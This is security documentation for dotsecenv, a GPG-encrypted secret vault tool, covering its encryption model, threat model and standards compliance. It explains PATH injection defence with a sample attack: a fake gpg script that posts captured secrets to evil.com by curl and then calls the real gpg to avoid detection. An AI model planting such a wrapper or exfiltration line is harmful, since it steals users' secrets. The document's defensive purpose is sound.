Security Model

Overview

dotsecenv uses a layered encryption model combining symmetric and asymmetric cryptography. Understanding what it protects—and what it doesn’t—helps you use it effectively.

Encryption Model

┌─────────────────────────────────────────────────────────────┐
│                     Secret Value                            │
│                    "my-password"                            │
└─────────────────────────────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────┐
│           Symmetric Encryption (AES-256-GCM)                │
│                                                             │
│   Random session key (256-bit) + Nonce (96-bit)             │
│   → Encrypted data + Authentication tag                     │
└─────────────────────────────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────┐
│             Asymmetric Encryption (GPG)                     │
│                                                             │
│   Session key encrypted for each recipient's public key     │
│   → One key blob per authorized identity                    │
└─────────────────────────────────────────────────────────────┘
                            │
                            ▼
┌─────────────────────────────────────────────────────────────┐
│            Cryptographic Signature (GPG)                    │
│                                                             │
│   SHA-256/SHA-512 hash signed with originator's key         │
│   → Detached signature for integrity + non-repudiation      │
└─────────────────────────────────────────────────────────────┘

The choice of SHA-256/SHA-512 depends on the originator’s key strength.

Why Hybrid Encryption?

Asymmetric encryption (RSA/ECC) is slow for large data. Symmetric encryption (AES) is fast but requires secure key exchange.

Hybrid encryption gets the best of both:

1. Generate a random session key (fast)
2. Encrypt data with AES-256-GCM using session key (fast, authenticated)
3. Encrypt session key with each recipient’s public key (slow, but small data)
4. Sign the result with originator’s private key (authenticity)

Multi-Recipient Efficiency

When sharing a secret with 5 people, the secret is encrypted once. Only the session key is encrypted 5 times:

Secret Value  → AES-256-GCM  → Encrypted Data (1 copy)
                    │
                    ├─→ Session key encrypted for Alice
                    ├─→ Session key encrypted for Bob
                    ├─→ Session key encrypted for Carol
                    ├─→ Session key encrypted for Dave
                    └─→ Session key encrypted for Eve

---

What dotsecenv Protects Against

Accidental Git Commits

The primary threat model. Secrets are encrypted in the vault file, so committing it doesn’t expose plaintext.

git add vault   # Safe—secrets are encrypted
git push        # Only encrypted blobs pushed

An attacker who obtains the vault file cannot read secrets without the private keys.

Unauthorized File Access

If someone accesses your filesystem (backup, shared drive, stolen laptop), they see only:

• Encrypted vault entries
• Public key metadata (fingerprints, UIDs)
• Timestamps

No plaintext secrets.

Tampering

Every vault entry includes a cryptographic signature. If someone modifies an entry:

dotsecenv validate
# Error: signature verification failed for entry 42

The signature is created with the originator’s private key, so:

• You know who created each entry
• You can detect modifications
• There’s non-repudiation for audits

Algorithm Downgrade

The config file specifies minimum algorithm requirements:

approved_algorithms:
  - rsa:3072
  - ecdsa:p384
  - eddsa:ed25519

dotsecenv refuses to encrypt/decrypt with weaker algorithms.

SUID Privilege Escalation

In SUID mode, dotsecenv blocks write operations to prevent privilege escalation attacks. Read operations only.

PATH Injection Attacks

dotsecenv supports configuring an absolute path to the GPG executable via gpg.program. This provides several security benefits:

Why Absolute Paths Matter

When GPG is resolved via PATH, an attacker who can influence the PATH environment variable can redirect all cryptographic operations to a malicious binary:

# Attacker prepends malicious directory to PATH
export PATH=/tmp/evil:$PATH

# Creates fake gpg that steals secrets
cat > /tmp/evil/gpg << 'EOF'
#!/bin/bash
# Log all arguments and stdin to attacker
curl -X POST https://evil.com/steal -d "$(cat)"
# Then call real gpg to avoid detection
/usr/bin/gpg "$@"
EOF
chmod +x /tmp/evil/gpg

# Now dotsecenv unknowingly uses the malicious gpg
dotsecenv secret get DATABASE_PASSWORD  # Secrets exfiltrated!

With an absolute path configured, this attack fails:

gpg:
  program: /usr/bin/gpg  # Always uses this exact binary

Security Benefits

Benefit	Description
PATH injection prevention	Attackers cannot redirect GPG operations by modifying PATH, shell configs, or placing malicious binaries earlier in the search path
Deterministic execution	The same binary executes regardless of shell configuration, environment state, or current working directory
Multi-version isolation	Systems with multiple GPG installations (Homebrew, system, MacPorts) always use the explicitly configured version
Audit compliance	Security teams can verify exactly which binary handles cryptographic operations
Container safety	Works reliably in containers where PATH may be minimal or misconfigured
CI/CD reproducibility	Different runners with different PATH configurations still use the same GPG binary

Wrapper Script Support

An absolute path can point to a wrapper script for additional security controls:

/usr/local/bin/gpg-audited

#!/bin/bash
# Wrapper that logs all GPG operations

LOG_FILE="/var/log/gpg-audit.log"
echo "$(date -Iseconds) USER=$USER CMD=gpg ARGS=$*" >> "$LOG_FILE"

# Optional: Block dangerous operations
if [[ "$*" == *"--delete-key"* ]]; then
    echo "Error: Key deletion blocked by policy" >&2
    exit 1
fi

exec /usr/bin/gpg "$@"

gpg:
  program: /usr/local/bin/gpg-audited

This enables:

• Audit logging of all cryptographic operations
• Policy enforcement (block certain operations)
• Integration with hardware security modules (HSMs)
• Rate limiting to prevent abuse

Strict Mode Requirement

In strict mode (strict: true), dotsecenv requires an explicit gpg.program path:

strict: true
gpg:
  program: /usr/bin/gpg  # Required in strict mode

This prevents accidental reliance on PATH resolution in security-sensitive environments.

Tip

For maximum security, always configure gpg.program with an absolute path, especially in production, CI/CD, and multi-user environments.

---

What dotsecenv Does NOT Protect Against

Security boundaries

No tool provides absolute security. Understanding these limits is essential.

Root/Admin Access

An attacker with root access to your system can:

• Read process memory
• Intercept GPG passphrase entry
• Access decrypted secrets in environment variables
• Attach debuggers to running processes

Mitigation: Full-disk encryption, secure boot, hardware security modules (HSMs).

Compromised Private Key

If your GPG private key is stolen, the attacker can:

• Decrypt any secret encrypted to your key
• Impersonate you (create signatures)
• Access historical vault entries

Mitigation: Strong passphrase, hardware tokens (YubiKey), key rotation.

Environment Snooping

Once a secret is decrypted and set as an environment variable, any process can read it:

# Other processes can see this
cat /proc/$$/environ | tr '\0' '\n' | grep SECRET

Mitigation: Minimal scope, process isolation, containers.

Side-Channel Attacks

Timing attacks, cache attacks, and other side-channel techniques are out of scope:

• Requires specialized hardware/software
• Mitigated at the GPG/OpenSSL layer
• Defense in depth with secure infrastructure

Quantum Attacks

Current public-key cryptography (RSA, ECC) is vulnerable to quantum computers:

• Shor’s algorithm breaks RSA/ECC
• AES-256 remains strong (Grover’s algorithm halves effective key size)

Mitigation: GPG is working on post-quantum algorithms. When available, dotsecenv will support them.

Time-Tampering

dotsecenv trusts the system clock. Timestamps in vault entries can be manipulated by setting system time before storage.

This is acceptable because:

• Attackers can’t modify existing entries (signatures prevent this)
• Consumers can choose to trust/distrust specific fingerprints
• The primary use case is developer workflows, not forensic timestamping

---

Cryptographic Guarantees

Property	Mechanism	Strength
Confidentiality	AES-256-GCM	256-bit symmetric
Key protection	GPG (RSA/ECC)	2048-bit+ RSA, P-384+ ECC
Integrity	AEAD + HMAC	128-bit authentication tag
Authenticity	Detached signatures	SHA-256/SHA-512
Non-repudiation	GPG signatures	Tied to specific key

---

Standards Compliance

dotsecenv cryptographic operations align with the following NIST and IETF standards:

Symmetric Encryption

RFC 9580 — OpenPGP (2024 revision)

• Mandates AEAD (Authenticated Encryption with Associated Data)
• AES-256-GCM as the default symmetric cipher
• Replaces RFC 4880’s CFB mode with modern authenticated encryption

Cipher negotiation

dotsecenv uses gopenpgp’s profile.RFC9580() which sets AES-256-GCM as the preferred cipher and enables AEAD mode. However, OpenPGP performs cipher negotiation based on recipient key preferences. The actual cipher used depends on what the recipient’s public key advertises it supports. RFC 9580-compliant keys must support AES-256-GCM, so messages between modern keys will use it. When decrypting messages from older RFC 4880 implementations, legacy ciphers may be encountered.

NIST SP 800-38D — GCM Mode

• Specifies Galois/Counter Mode for AES
• Provides both confidentiality and authenticity
• 128-bit authentication tags prevent tampering

Digital Signatures

FIPS 186-5 — Digital Signature Standard (2023)

• Approves RSA, ECDSA, and EdDSA for digital signatures
• Deprecates DSA (removed from dotsecenv’s approved algorithms)
• EdDSA (Ed25519, Ed448) added as approved algorithms

Vault entries are signed using FIPS 186-5 compliant algorithms:

• RSA — RSASSA-PKCS1-v1_5 or RSASSA-PSS (2048-bit minimum)
• ECDSA — P-384, P-521 curves
• EdDSA — Ed25519 for performance, Ed448 for higher security

Cryptographic Modules

FIPS 140-3 — Security Requirements for Cryptographic Modules

• Default configuration enforces FIPS-compliant algorithm minimums
• Actual compliance depends on underlying GPG/libgcrypt installation
• Use FIPS-validated cryptographic libraries in regulated environments

Go Cryptographic Modules

Since v0.3.0, dotsecenv uses Go’s native FIPS 140-3 validated cryptographic modules, which provide certified implementations of AES, SHA, RSA, and ECC operations across all supported platforms.

Tip

For maximum standards compliance, combine dotsecenv with a FIPS-validated GPG installation built against a certified libgcrypt or OpenSSL module.

---

Default Algorithm Requirements

dotsecenv uses FIPS 186-5 compliant defaults out of the box:

Component	Algorithm
Symmetric	AES-256-GCM
Hash	SHA-256/SHA-512
Asymmetric	RSA 2048+, ECC P-384/P-521, EdDSA Ed25519/Ed448

Note

Compliance is only as strong as your underlying GPG installation. For regulated environments, ensure you’re using a FIPS-validated OpenSSL/libgcrypt.

---

Signature Verification

Every vault entry is signed. Verification happens on read:

Entry signature covers:
├── Secret key name
├── Available-to list (fingerprints)
├── Encrypted value blob
├── Timestamp
└── Originator fingerprint

If any field is modified, verification fails:

dotsecenv validate
# ✓ Vault header: valid
# ✓ Identity entries: 2 valid
# ✗ Secret entry 5: signature mismatch
# Error: vault validation failed

---

Vault Safety in Public Repositories

The vault is designed to be safe in public repositories:

• All secrets encrypted with AES-256-GCM
• Session keys protected by GPG public-key encryption
• No plaintext secrets in any entry
• Public keys and fingerprints are not sensitive

However, defense in depth recommends:

• Private repositories when possible
• Access control at repository level
• Regular key rotation

Caution

The security of your vault depends on:

1. Strength of GPG keys (use 4096-bit RSA or ECC)
2. Security of private key storage (passphrase, hardware token)
3. Not sharing private keys

---

Summary

Threat	Protected?	Notes
Git exposure	Yes	Encrypted at rest
File theft	Yes	Requires private key
Tampering	Yes	Signature verification
Weak algorithms	Yes	Config-enforced minimums
PATH injection	Yes	Configure absolute gpg.program path
Root access	No	OS-level compromise
Key theft	No	Guard your private key
Env snooping	No	Post-decryption risk
Quantum	No	Future GPG update